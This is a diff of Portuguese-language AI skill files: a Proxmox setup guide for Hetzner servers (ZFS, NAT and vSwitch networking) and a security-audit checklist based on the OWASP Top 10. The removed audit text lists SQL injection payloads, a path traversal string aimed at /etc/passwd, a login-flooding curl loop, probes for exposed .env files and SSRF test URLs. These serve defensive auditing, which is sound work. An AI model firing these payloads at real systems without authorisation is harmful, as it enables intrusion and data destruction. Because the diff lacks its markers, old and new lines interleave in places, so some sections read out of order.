📋 Next Steps:
|
||||
1. Configurar firewall via Web UI (Datacenter → Firewall)
|
||||
2. Criar API token para Terraform (/pve-api-token)
|
||||
3. Setup PBS (/pbs-config)
|
||||
4. Criar Cloud-Init templates
|
||||
5. Migrar workloads (/vm-migration)
|
||||
6. [Futuro] Cluster formation (/proxmox-cluster)
|
||||
|
||||
⚠️ Hetzner Gotchas Applied:
|
||||
✓ Gateway /32 point-to-point
|
||||
✓ NAT masquerading (MAC filtering bypass)
|
||||
✓ vSwitch MTU 1400 (se aplicável)
|
||||
✓ ZFS ARC tuning
|
||||
✓ PVE kernel (não Debian stock)
|
||||
|
||||
⏱️ Setup time: ~45min (vs 2h manual)
|
||||
```
|
||||
|
||||
## Hetzner-Specific Gotchas (CRITICAL)
|
||||
|
||||
### 1. MAC Filtering
|
||||
**Problema:** Bridged networking com MAC não registado = bloqueado
|
||||
**Solução aplicada:** NAT masquerading (bypass MAC filtering)
|
||||
**Alternativa:** Pedir virtual MAC no Robot panel (grátis)
|
||||
|
||||
### 2. Gateway Point-to-Point
|
||||
**Problema:** Gateway fora da subnet do IP principal
|
||||
**Solução:** `address IP/32` + `pointopoint GATEWAY` (não /24 ou /26)
|
||||
|
||||
### 3. vSwitch MTU 1400
|
||||
**Problema:** vSwitch Hetzner requer MTU 1400 (não 1500 standard)
|
||||
**Solução:** Forçar `mtu 1400` em vmbr1 e enp7s0.4000
|
||||
|
||||
### 4. ZFS vs LVM Trade-off
|
||||
**Problema:** installimage não suporta ZFS root directo
|
||||
**Solução:** LVM para root (compatibilidade), ZFS para VMs (performance)
|
||||
|
||||
### 5. Kernel PVE vs Debian
|
||||
**Problema:** Kernel stock Debian não optimizado para virtualização
|
||||
**Solução:** Instalar proxmox-ve + remover kernel Debian
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Web UI não acessível
|
||||
```bash
|
||||
# Verificar serviço
|
||||
systemctl status pveproxy
|
||||
| Problema | Comando diagnostico |
|
||||
|----------|-------------------|
|
||||
| Web UI nao acessivel | `systemctl status pveproxy` + `journalctl -u pveproxy -f` |
|
||||
| VMs sem internet (NAT) | `cat /proc/sys/net/ipv4/ip_forward` + `iptables -t nat -L -n -v` |
|
||||
| ZFS ARC nao limita | `cat /sys/module/zfs/parameters/zfs_arc_max` |
|
||||
| vSwitch MTU issues | `ping -M do -s 1372 10.0.0.2` |
|
||||
|
||||
# Logs
|
||||
journalctl -u pveproxy -f
|
||||
---
|
||||
|
||||
# Firewall
|
||||
iptables -L -n -v | grep 8006
|
||||
```
|
||||
## Quando NAO Usar
|
||||
|
||||
### VMs sem internet (NAT)
|
||||
```bash
|
||||
# Verificar IP forwarding
|
||||
cat /proc/sys/net/ipv4/ip_forward # Should be 1
|
||||
- Para servidores non-Hetzner (diferentes gotchas de networking)
|
||||
- Para Proxmox ja instalado (usar outras skills de config)
|
||||
- Para troubleshooting (criar skill especifica)
|
||||
|
||||
# Verificar iptables NAT
|
||||
iptables -t nat -L -n -v
|
||||
|
||||
# Re-aplicar regras
|
||||
ifdown vmbr0 && ifup vmbr0
|
||||
```
|
||||
|
||||
### ZFS ARC não limita
|
||||
```bash
|
||||
# Verificar configs
|
||||
cat /sys/module/zfs/parameters/zfs_arc_max
|
||||
|
||||
# Re-aplicar
|
||||
modprobe -r zfs
|
||||
modprobe zfs
|
||||
```
|
||||
|
||||
### vSwitch MTU issues
|
||||
```bash
|
||||
# Forçar MTU em todas interfaces
|
||||
ip link set enp7s0.4000 mtu 1400
|
||||
ip link set vmbr1 mtu 1400
|
||||
|
||||
# Test
|
||||
ping -M do -s 1372 10.0.0.2 # 1372 = 1400 - 28 (headers)
|
||||
```
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- `references/installimage-zfs.md` - Template installimage, conversao ZFS, tuning ARC
|
||||
- `references/networking-nat.md` - NAT single-IP, port forwarding, vSwitch, gotchas Hetzner
|
||||
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52 (150+ fontes)
|
||||
- **Guia Definitivo:** Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md
|
||||
- **Proxmox Docs:** https://pve.proxmox.com/pve-docs/pve-admin-guide.html
|
||||
- **Hetzner Docs:** https://docs.hetzner.com/robot/dedicated-server/
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
|
||||
|
||||
## Metadata (Desk CRM Task #1712)
|
||||
|
||||
```
|
||||
Projeto: Cluster Proxmox Descomplicar (#65)
|
||||
Tarefa: Migração Infraestrutura para Cluster Proxmox HA (#1712)
|
||||
Milestone: TBD
|
||||
Tags: proxmox, pve, hetzner, zfs, networking, instalacao
|
||||
Status: Research → Implementation
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**/** @author Descomplicar® | @link descomplicar.pt | @copyright 2026 **/
|
||||
|
||||
---
|
||||
|
||||
## Quando NÃO Usar
|
||||
|
||||
- Para servidores non-Hetzner (diferentes gotchas de networking)
|
||||
- Para Proxmox já instalado (usar outras skills de config)
|
||||
- Para troubleshooting (criar skill específica)
|
||||
Projecto: Cluster Proxmox Descomplicar (#65) | Tarefa: #1712
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# installimage e ZFS - Proxmox Hetzner
|
||||
|
||||
Detalhes de instalacao via installimage e configuracao ZFS.
|
||||
|
||||
---
|
||||
|
||||
## Template installimage
|
||||
|
||||
Template base para 2x NVMe 1TB + HDD 16TB:
|
||||
|
||||
```bash
|
||||
DRIVE1 /dev/nvme0n1
|
||||
DRIVE2 /dev/nvme1n1
|
||||
SWRAID 0
|
||||
SWRAIDLEVEL 0
|
||||
BOOTLOADER grub
|
||||
HOSTNAME HOSTNAME_PLACEHOLDER
|
||||
PART /boot ext3 1024M
|
||||
PART lvm vg0 all
|
||||
|
||||
LV vg0 root / ext4 50G
|
||||
LV vg0 swap swap swap 16G
|
||||
LV vg0 tmp /tmp ext4 10G
|
||||
LV vg0 home /home ext4 20G
|
||||
|
||||
IMAGE /root/images/Debian-bookworm-latest-amd64-base.tar.gz
|
||||
```
|
||||
|
||||
## Executar installimage
|
||||
|
||||
```bash
|
||||
# No Rescue Mode
|
||||
installimage
|
||||
|
||||
# Seleccionar Debian 12 (Bookworm)
|
||||
# Copiar template acima
|
||||
# Salvar e confirmar
|
||||
# Reboot automatico
|
||||
```
|
||||
|
||||
## Conversao para ZFS (Pos-Install)
|
||||
|
||||
**IMPORTANTE:** installimage nao suporta ZFS directamente. Workflow:
|
||||
1. Instalar Debian 12 com LVM (installimage)
|
||||
2. Boot em Debian
|
||||
3. Instalar ZFS + Proxmox
|
||||
4. Migrar para ZFS pool (ou aceitar LVM para root, ZFS para VMs)
|
||||
|
||||
### Opcao A: ZFS para VMs apenas (RECOMENDADO para Hetzner)
|
||||
|
||||
```bash
|
||||
# Criar ZFS pool em NVMe para VMs
|
||||
zpool create -f \
|
||||
-o ashift=12 \
|
||||
-o compression=lz4 \
|
||||
-o atime=off \
|
||||
rpool mirror /dev/nvme0n1p3 /dev/nvme1n1p3
|
||||
|
||||
# Criar datasets
|
||||
zfs create rpool/vm-disks
|
||||
zfs create rpool/ct-volumes
|
||||
```
|
||||
|
||||
### Opcao B: ZFS root (AVANCADO - requer reinstall manual)
|
||||
|
||||
- Nao suportado por installimage
|
||||
- Requer particionamento manual + debootstrap
|
||||
- Consultar: https://pve.proxmox.com/wiki/ZFS_on_Linux
|
||||
|
||||
**Recomendacao para Cluster Descomplicar:** Opcao A (LVM root, ZFS para VMs)
|
||||
|
||||
---
|
||||
|
||||
## ZFS Tuning (128GB RAM)
|
||||
|
||||
### Configurar ARC Limits
|
||||
|
||||
```bash
|
||||
# ARC max 16GB (deixa 110GB para VMs)
|
||||
# ARC min 4GB
|
||||
echo "options zfs zfs_arc_max=17179869184" >> /etc/modprobe.d/zfs.conf
|
||||
echo "options zfs zfs_arc_min=4294967296" >> /etc/modprobe.d/zfs.conf
|
||||
|
||||
# Aplicar
|
||||
update-initramfs -u -k all
|
||||
```
|
||||
|
||||
### Optimizar ZFS para NVMe
|
||||
|
||||
```bash
|
||||
# Verificar ashift (deve ser 12 para NVMe 4K sectors)
|
||||
zdb -C rpool | grep ashift
|
||||
|
||||
# Activar compression LZ4 (se ainda nao)
|
||||
zfs set compression=lz4 rpool
|
||||
|
||||
# Disable atime (performance)
|
||||
zfs set atime=off rpool
|
||||
|
||||
# Snapshot visibility
|
||||
zfs set snapdir=hidden rpool
|
||||
```
|
||||
|
||||
### Criar ZFS Datasets para PBS (se HDD 16TB)
|
||||
|
||||
```bash
|
||||
# Dataset para PBS datastore
|
||||
zfs create rpool/pbs-datastore
|
||||
zfs set mountpoint=/mnt/pbs-datastore rpool/pbs-datastore
|
||||
zfs set compression=lz4 rpool/pbs-datastore
|
||||
zfs set dedup=off rpool/pbs-datastore
|
||||
```
|
||||
120
infraestrutura/skills/proxmox-setup/references/networking-nat.md
Normal file
120
infraestrutura/skills/proxmox-setup/references/networking-nat.md
Normal file
@@ -0,0 +1,120 @@
|
||||
# Networking NAT e vSwitch - Proxmox Hetzner
|
||||
|
||||
Configuracao de rede NAT single-IP e vSwitch para Proxmox em Hetzner.
|
||||
|
||||
---
|
||||
|
||||
## Networking NAT (Single-IP Hetzner)
|
||||
|
||||
### Configurar /etc/network/interfaces
|
||||
|
||||
Template para Single-IP NAT:
|
||||
|
||||
```bash
|
||||
auto lo
|
||||
iface lo inet loopback
|
||||
|
||||
# Interface fisica (verificar nome com 'ip a')
|
||||
auto eno1
|
||||
iface eno1 inet static
|
||||
address SERVER_IP/32
|
||||
gateway GATEWAY_IP
|
||||
pointopoint GATEWAY_IP
|
||||
|
||||
# Bridge interna para VMs (NAT)
|
||||
auto vmbr0
|
||||
iface vmbr0 inet static
|
||||
address 10.10.10.1/24
|
||||
bridge-ports none
|
||||
bridge-stp off
|
||||
bridge-fd 0
|
||||
|
||||
# NAT masquerading
|
||||
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
post-up iptables -t nat -A POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
|
||||
post-down iptables -t nat -D POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
|
||||
```
|
||||
|
||||
**CRITICAL Hetzner Gotchas:**
|
||||
- Gateway /32 point-to-point (nao /24 ou /26)
|
||||
- IP e gateway podem estar em subnets diferentes
|
||||
- Verificar IP real e gateway no Hetzner Robot
|
||||
|
||||
### Aplicar Networking
|
||||
|
||||
```bash
|
||||
# Test config
|
||||
ifup --no-act vmbr0
|
||||
|
||||
# Apply
|
||||
systemctl restart networking
|
||||
|
||||
# Verificar
|
||||
ip a
|
||||
ping -c 3 8.8.8.8
|
||||
```
|
||||
|
||||
### Port Forwarding (Opcional - para expor VMs)
|
||||
|
||||
```bash
|
||||
# Exemplo: Redirecionar porta 8080 host -> porta 80 VM 10.10.10.100
|
||||
iptables -t nat -A PREROUTING -i eno1 -p tcp --dport 8080 -j DNAT --to 10.10.10.100:80
|
||||
|
||||
# Persistir com iptables-persistent
|
||||
apt install iptables-persistent
|
||||
iptables-save > /etc/iptables/rules.v4
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## vSwitch Configuration
|
||||
|
||||
### Configurar VLAN no Robot Panel
|
||||
|
||||
- Hetzner Robot -> vSwitch -> Create VLAN
|
||||
- Anotar VLAN ID (ex: 4000)
|
||||
|
||||
### Adicionar ao /etc/network/interfaces
|
||||
|
||||
```bash
|
||||
# vSwitch interface (MTU 1400 OBRIGATORIO)
|
||||
auto enp7s0.4000
|
||||
iface enp7s0.4000 inet manual
|
||||
mtu 1400
|
||||
|
||||
# Bridge vSwitch
|
||||
auto vmbr1
|
||||
iface vmbr1 inet static
|
||||
address 10.0.0.1/24
|
||||
bridge-ports enp7s0.4000
|
||||
bridge-stp off
|
||||
bridge-fd 0
|
||||
mtu 1400
|
||||
```
|
||||
|
||||
**CRITICAL:** MTU 1400 nao negociavel para vSwitch Hetzner.
|
||||
|
||||
---
|
||||
|
||||
## Hetzner-Specific Gotchas (CRITICAL)
|
||||
|
||||
### 1. MAC Filtering
|
||||
**Problema:** Bridged networking com MAC nao registado = bloqueado
|
||||
**Solucao aplicada:** NAT masquerading (bypass MAC filtering)
|
||||
**Alternativa:** Pedir virtual MAC no Robot panel (gratis)
|
||||
|
||||
### 2. Gateway Point-to-Point
|
||||
**Problema:** Gateway fora da subnet do IP principal
|
||||
**Solucao:** `address IP/32` + `pointopoint GATEWAY` (nao /24 ou /26)
|
||||
|
||||
### 3. vSwitch MTU 1400
|
||||
**Problema:** vSwitch Hetzner requer MTU 1400 (nao 1500 standard)
|
||||
**Solucao:** Forcar `mtu 1400` em vmbr1 e enp7s0.4000
|
||||
|
||||
### 4. ZFS vs LVM Trade-off
|
||||
**Problema:** installimage nao suporta ZFS root directo
|
||||
**Solucao:** LVM para root (compatibilidade), ZFS para VMs (performance)
|
||||
|
||||
### 5. Kernel PVE vs Debian
|
||||
**Problema:** Kernel stock Debian nao optimizado para virtualizacao
|
||||
**Solucao:** Instalar proxmox-ve + remover kernel Debian
|
||||
@@ -1,802 +1,164 @@
|
||||
---
|
||||
name: security-audit
|
||||
description: Security audit for web applications and servers. Identifies vulnerabilities,
|
||||
misconfigurations, and provides hardening recommendations. Use when user mentions
|
||||
"security audit", "auditoria segurança", "vulnerabilities", "security scan", "penetration
|
||||
test".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1480
|
||||
allowed-tools: Glob
|
||||
description: Auditoria de seguranca para aplicacoes web e servidores -- identificacao de vulnerabilidades, verificacao OWASP/GDPR e recomendacoes de hardening.
|
||||
---
|
||||
|
||||
# /security-audit - Security Compliance Specialist
|
||||
|
||||
Auditoria de segurança seguindo padrões OWASP Top 10, GDPR e best practices Descomplicar®.
|
||||
Auditoria de seguranca seguindo padroes OWASP Top 10, GDPR e best practices Descomplicar.
|
||||
|
||||
---
|
||||
|
||||
## Quando Usar
|
||||
## Quando usar
|
||||
|
||||
- Auditar código para vulnerabilidades
|
||||
- Verificar configurações de segurança servidor
|
||||
- Auditar codigo para vulnerabilidades
|
||||
- Verificar configuracoes de seguranca servidor
|
||||
- Avaliar compliance GDPR/ISO
|
||||
- Security review de aplicações
|
||||
- Análise de logs de segurança
|
||||
- Pentest básico (ethical hacking)
|
||||
- Hardening de servidor/aplicação
|
||||
- Security review de aplicacoes
|
||||
- Analise de logs de seguranca
|
||||
- Pentest basico (ethical hacking)
|
||||
- Hardening de servidor/aplicacao
|
||||
|
||||
---
|
||||
|
||||
## Protocolo Obrigatório
|
||||
## Protocolo obrigatorio
|
||||
|
||||
### 1. Pesquisa Inicial (SEMPRE)
|
||||
### 1. Pesquisa inicial (SEMPRE)
|
||||
|
||||
```javascript
|
||||
// Antes de qualquer audit, consultar histórico
|
||||
// Antes de qualquer audit, consultar historico
|
||||
await mcp__memory-supabase__search_memories({
|
||||
query: "security vulnerabilidade [sistema/projecto]",
|
||||
limit: 5
|
||||
});
|
||||
|
||||
await mcp__wikijs__search_pages({
|
||||
query: "security policy compliance"
|
||||
});
|
||||
```
|
||||
|
||||
### 2. Verificar Contexto
|
||||
### 2. Verificar contexto
|
||||
|
||||
- [ ] Vulnerabilidades anteriores no sistema
|
||||
- [ ] Incidentes de segurança passados
|
||||
- [ ] Políticas de segurança existentes
|
||||
- [ ] Incidentes de seguranca passados
|
||||
- [ ] Politicas de seguranca existentes
|
||||
- [ ] Compliance requirements (GDPR, ISO, etc.)
|
||||
- [ ] Stack tecnológico e versões
|
||||
- [ ] Stack tecnologico e versoes
|
||||
|
||||
---
|
||||
|
||||
## OWASP Top 10 (Checklist Obrigatória)
|
||||
## Workflow principal
|
||||
|
||||
### A01 - Broken Access Control
|
||||
### Passo 1: OWASP Top 10
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
if ($_GET['user_id']) {
|
||||
$user = getUserById($_GET['user_id']); // Sem verificação ownership
|
||||
showUserData($user);
|
||||
}
|
||||
Executar checklist completa por categoria. Ver detalhes e exemplos de codigo em:
|
||||
|
||||
// ✅ SEGURO
|
||||
if ($_GET['user_id']) {
|
||||
$user = getUserById($_GET['user_id']);
|
||||
if ($user->id !== $currentUser->id && !$currentUser->isAdmin()) {
|
||||
die('Unauthorized');
|
||||
}
|
||||
showUserData($user);
|
||||
}
|
||||
```
|
||||
**-> [references/owasp-checklist.md](references/owasp-checklist.md)**
|
||||
|
||||
**Testes:**
|
||||
- [ ] Tentar aceder recurso de outro user (`/user/123` → `/user/124`)
|
||||
- [ ] Testar IDOR (Insecure Direct Object Reference)
|
||||
- [ ] Verificar se RBAC implementado correctamente
|
||||
- [ ] Path traversal (`../../../etc/passwd`)
|
||||
- [ ] Forced browsing (aceder `/admin` sem autenticação)
|
||||
Resumo das 10 categorias:
|
||||
|
||||
### A02 - Cryptographic Failures
|
||||
| # | Categoria | Foco principal |
|
||||
|---|-----------|----------------|
|
||||
| A01 | Broken Access Control | IDOR, RBAC, path traversal |
|
||||
| A02 | Cryptographic Failures | bcrypt, HTTPS, cookies seguras |
|
||||
| A03 | Injection | SQL, command, template injection |
|
||||
| A04 | Insecure Design | Rate limiting, MFA, session timeout |
|
||||
| A05 | Security Misconfiguration | Headers, directory listing, ficheiros expostos |
|
||||
| A06 | Vulnerable Components | Dependencias desactualizadas, CVEs |
|
||||
| A07 | Auth Failures | Session fixation, user enum, lockout |
|
||||
| A08 | Data Integrity | Deserialization, SRI, CI/CD |
|
||||
| A09 | Logging Failures | Logs de acesso, retencao, alertas |
|
||||
| A10 | SSRF | Whitelist de dominios, validacao URL |
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$password = md5($_POST['password']); // MD5 é inseguro
|
||||
### Passo 2: Classificar findings
|
||||
|
||||
// ✅ SEGURO
|
||||
$password = password_hash($_POST['password'], PASSWORD_BCRYPT);
|
||||
```
|
||||
| Severidade | Score CVSS | Prazo correcao |
|
||||
|------------|-----------|----------------|
|
||||
| **Critico** | 9-10 | Imediato (<24h) |
|
||||
| **Alto** | 7-8.9 | 24-48h |
|
||||
| **Medio** | 4-6.9 | 7 dias |
|
||||
| **Baixo** | 1-3.9 | 30 dias |
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Passwords com bcrypt/argon2 (não MD5/SHA1)
|
||||
- [ ] Dados sensíveis encriptados em BD
|
||||
- [ ] HTTPS em produção (não HTTP)
|
||||
- [ ] Cookies com flags `Secure` e `HttpOnly`
|
||||
- [ ] Sem PII em logs
|
||||
**Calculo CVSS v3:** https://www.first.org/cvss/calculator/3.1
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Verificar HTTPS
|
||||
curl -I https://site.com | grep -i "strict-transport-security"
|
||||
### Passo 3: Gerar relatorio
|
||||
|
||||
# Verificar cookies
|
||||
curl -I https://site.com | grep -i "set-cookie"
|
||||
# Deve ter: Secure; HttpOnly; SameSite=Strict
|
||||
```
|
||||
Usar template completo com findings, compliance OWASP, GDPR e plano de remediacao:
|
||||
|
||||
### A03 - Injection (SQL, Command, LDAP)
|
||||
**-> [references/report-template.md](references/report-template.md)**
|
||||
|
||||
**Verificações SQL Injection:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
|
||||
O template inclui:
|
||||
- Executive summary com score global
|
||||
- Findings por severidade (com evidencia e remediacao)
|
||||
- Tabela OWASP Top 10 compliance
|
||||
- Checklist GDPR completo (consentimento, direitos, seguranca, documentacao)
|
||||
- Ferramentas SAST/DAST utilizadas
|
||||
- Hardening checklists (Linux, Web Server, PHP, MySQL)
|
||||
|
||||
// ✅ SEGURO (Prepared Statements)
|
||||
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
|
||||
$stmt->execute([$_GET['id']]);
|
||||
```
|
||||
### Passo 4: Hardening (se aplicavel)
|
||||
|
||||
**Testes:**
|
||||
```sql
|
||||
-- Payloads comuns
|
||||
' OR '1'='1
|
||||
'; DROP TABLE users; --
|
||||
' UNION SELECT NULL, NULL, NULL--
|
||||
```
|
||||
|
||||
**Command Injection:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
system("ping " . $_GET['host']);
|
||||
|
||||
// ✅ SEGURO
|
||||
$host = escapeshellarg($_GET['host']);
|
||||
system("ping $host");
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Prepared statements em todas as queries
|
||||
- [ ] Input sanitizado antes de shell commands
|
||||
- [ ] NoSQL injection prevenido (MongoDB, etc.)
|
||||
- [ ] LDAP injection prevenido
|
||||
- [ ] Template injection prevenido (Twig, Smarty)
|
||||
|
||||
### A04 - Insecure Design
|
||||
|
||||
**Verificações:**
|
||||
- [ ] Rate limiting implementado (login, API)
|
||||
- [ ] CAPTCHA em formulários públicos
|
||||
- [ ] MFA disponível para contas admin
|
||||
- [ ] Session timeout configurado
|
||||
- [ ] Password policy forte (min 8 chars, uppercase, etc.)
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Testar rate limiting
|
||||
for i in {1..100}; do
|
||||
curl -X POST https://site.com/login \
|
||||
-d "email=test@test.com&password=wrong" &
|
||||
done
|
||||
# Deve bloquear após N tentativas
|
||||
```
|
||||
|
||||
### A05 - Security Misconfiguration
|
||||
|
||||
**Checklist Servidor:**
|
||||
```bash
|
||||
# Verificar versões expostas
|
||||
curl -I https://site.com | grep -i "server:"
|
||||
# Não deve revelar Apache/2.4.41 ou PHP/8.1.2
|
||||
|
||||
# Verificar directory listing
|
||||
curl https://site.com/uploads/
|
||||
# Não deve listar ficheiros
|
||||
|
||||
# Verificar ficheiros sensíveis expostos
|
||||
curl https://site.com/.env
|
||||
curl https://site.com/.git/config
|
||||
curl https://site.com/phpinfo.php
|
||||
# Todos devem dar 403/404
|
||||
```
|
||||
|
||||
**Headers de Segurança:**
|
||||
```bash
|
||||
# Verificar headers obrigatórios
|
||||
curl -I https://site.com | grep -E "X-Frame-Options|X-Content-Type-Options|Content-Security-Policy|Strict-Transport-Security"
|
||||
```
|
||||
|
||||
**Configuração Correcta:**
|
||||
```nginx
|
||||
# Nginx - Security Headers
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||
add_header Content-Security-Policy "default-src 'self' https:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
|
||||
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||
|
||||
# Desactivar server tokens
|
||||
server_tokens off;
|
||||
```
|
||||
|
||||
### A06 - Vulnerable and Outdated Components
|
||||
|
||||
**Verificações:**
|
||||
```bash
|
||||
# PHP - Composer
|
||||
composer audit
|
||||
|
||||
# Node.js
|
||||
npm audit
|
||||
|
||||
# WordPress
|
||||
wp core version
|
||||
wp plugin list --format=json | jq '.[] | select(.update=="available")'
|
||||
|
||||
# Verificar CVEs conhecidos
|
||||
curl https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress+plugin+NAME
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Dependências actualizadas (últimos 3 meses)
|
||||
- [ ] Sem bibliotecas com vulnerabilidades conhecidas
|
||||
- [ ] PHP/Node/Python versão suportada
|
||||
- [ ] WordPress core e plugins actualizados
|
||||
|
||||
### A07 - Identification and Authentication Failures
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL - Session Fixation
|
||||
session_start();
|
||||
|
||||
// ✅ SEGURO
|
||||
session_start();
|
||||
session_regenerate_id(true); // Regenerar após login
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Session regenerate após login
|
||||
- [ ] Logout invalida sessão no servidor
|
||||
- [ ] Session timeout (15-30 min)
|
||||
- [ ] Password reset com token expirável
|
||||
- [ ] Account lockout após N tentativas falhadas
|
||||
- [ ] Sem user enum (login não revela se user existe)
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Testar user enumeration
|
||||
curl -X POST https://site.com/login \
|
||||
-d "email=naoexiste@test.com&password=wrong"
|
||||
# Não deve dizer "user não existe"
|
||||
|
||||
# Testar session fixation
|
||||
# 1. Obter PHPSESSID
|
||||
# 2. Fazer login
|
||||
# 3. Verificar se PHPSESSID mudou (deve mudar)
|
||||
```
|
||||
|
||||
### A08 - Software and Data Integrity Failures
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL - Insecure Deserialization
|
||||
$data = unserialize($_GET['data']);
|
||||
|
||||
// ✅ SEGURO
|
||||
$data = json_decode($_GET['data'], true);
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Evitar `unserialize()` de input user
|
||||
- [ ] Verificar integridade de updates (signatures)
|
||||
- [ ] CI/CD com verificação de dependências
|
||||
- [ ] Subresource Integrity (SRI) em CDNs
|
||||
|
||||
**SRI Example:**
|
||||
```html
|
||||
<script src="https://cdn.example.com/lib.js"
|
||||
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
|
||||
crossorigin="anonymous"></script>
|
||||
```
|
||||
|
||||
### A09 - Security Logging and Monitoring Failures
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Login attempts logged (success/fail)
|
||||
- [ ] Access to sensitive data logged
|
||||
- [ ] Input validation failures logged
|
||||
- [ ] Logs não contêm passwords ou PII
|
||||
- [ ] Alertas configurados para actividade suspeita
|
||||
- [ ] Retenção de logs (mínimo 90 dias)
|
||||
|
||||
**Logs Essenciais:**
|
||||
```bash
|
||||
# Nginx access log
|
||||
tail -f /var/log/nginx/access.log
|
||||
|
||||
# PHP error log
|
||||
tail -f /var/log/php/error.log
|
||||
|
||||
# MySQL slow query log
|
||||
tail -f /var/log/mysql/slow.log
|
||||
|
||||
# Fail2ban log
|
||||
tail -f /var/log/fail2ban.log
|
||||
```
|
||||
|
||||
**Análise de Logs:**
|
||||
```bash
|
||||
# Tentativas de SQL injection
|
||||
grep -i "union.*select" /var/log/nginx/access.log
|
||||
|
||||
# Tentativas de path traversal
|
||||
grep -E "\.\./|\.\.%2F" /var/log/nginx/access.log
|
||||
|
||||
# Scans de vulnerabilidades
|
||||
grep -E "nikto|nmap|sqlmap" /var/log/nginx/access.log
|
||||
|
||||
# Tentativas de login falhadas
|
||||
grep "Failed password" /var/log/secure
|
||||
```
|
||||
|
||||
### A10 - Server-Side Request Forgery (SSRF)
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$url = $_GET['url'];
|
||||
file_get_contents($url); // Pode aceder rede interna
|
||||
|
||||
// ✅ SEGURO
|
||||
$url = $_GET['url'];
|
||||
$parsed = parse_url($url);
|
||||
if ($parsed['host'] !== 'allowed-domain.com') {
|
||||
die('Invalid URL');
|
||||
}
|
||||
// Whitelist de domínios permitidos
|
||||
```
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Tentar aceder localhost
|
||||
curl "https://site.com/fetch?url=http://localhost/admin"
|
||||
|
||||
# Tentar aceder rede interna
|
||||
curl "https://site.com/fetch?url=http://192.168.1.1"
|
||||
```
|
||||
Aplicar correcoes seguindo checklists em `references/report-template.md` (seccao Hardening).
|
||||
|
||||
---
|
||||
|
||||
## Severidade de Findings
|
||||
|
||||
```
|
||||
🔴 CRÍTICO (Score 9-10)
|
||||
Exploração imediata possível, dados em risco
|
||||
RCE, SQL Injection, Authentication Bypass
|
||||
→ Corrigir IMEDIATAMENTE (<24h)
|
||||
|
||||
🟠 ALTO (Score 7-8.9)
|
||||
Vulnerabilidade significativa
|
||||
XSS Stored, CSRF, Insecure Deserialization
|
||||
→ Corrigir em 24-48h
|
||||
|
||||
🟡 MÉDIO (Score 4-6.9)
|
||||
Risco moderado
|
||||
XSS Reflected, Information Disclosure, Missing Headers
|
||||
→ Corrigir em 7 dias
|
||||
|
||||
🟢 BAIXO (Score 1-3.9)
|
||||
Melhoria recomendada
|
||||
Weak Password Policy, Verbose Errors, Outdated Libraries
|
||||
→ Corrigir em 30 dias
|
||||
```
|
||||
|
||||
**Cálculo CVSS v3:** https://www.first.org/cvss/calculator/3.1
|
||||
|
||||
---
|
||||
|
||||
## Template Relatório de Segurança
|
||||
|
||||
```markdown
|
||||
# 🔒 RELATÓRIO DE SEGURANÇA
|
||||
|
||||
**Sistema:** [Nome do Sistema/Aplicação]
|
||||
**Data:** [YYYY-MM-DD]
|
||||
**Auditor:** Security Compliance Specialist - Descomplicar®
|
||||
**Scope:** [Frontend | Backend | Infra | Full Stack]
|
||||
|
||||
---
|
||||
|
||||
## EXECUTIVE SUMMARY
|
||||
|
||||
[2-3 parágrafos resumindo estado de segurança global]
|
||||
|
||||
**Score Global:** [X]/100
|
||||
**CVSS Médio:** [X.X]
|
||||
|
||||
**Breakdown:**
|
||||
- 🔴 Críticos: [N] findings
|
||||
- 🟠 Altos: [N] findings
|
||||
- 🟡 Médios: [N] findings
|
||||
- 🟢 Baixos: [N] findings
|
||||
|
||||
---
|
||||
|
||||
## FINDINGS
|
||||
|
||||
### 🔴 CRÍTICOS ([N] findings)
|
||||
|
||||
#### FINDING-001: SQL Injection em Login
|
||||
|
||||
- **Severidade:** CRÍTICO (CVSS 9.8)
|
||||
- **Componente:** `login.php` linha 45
|
||||
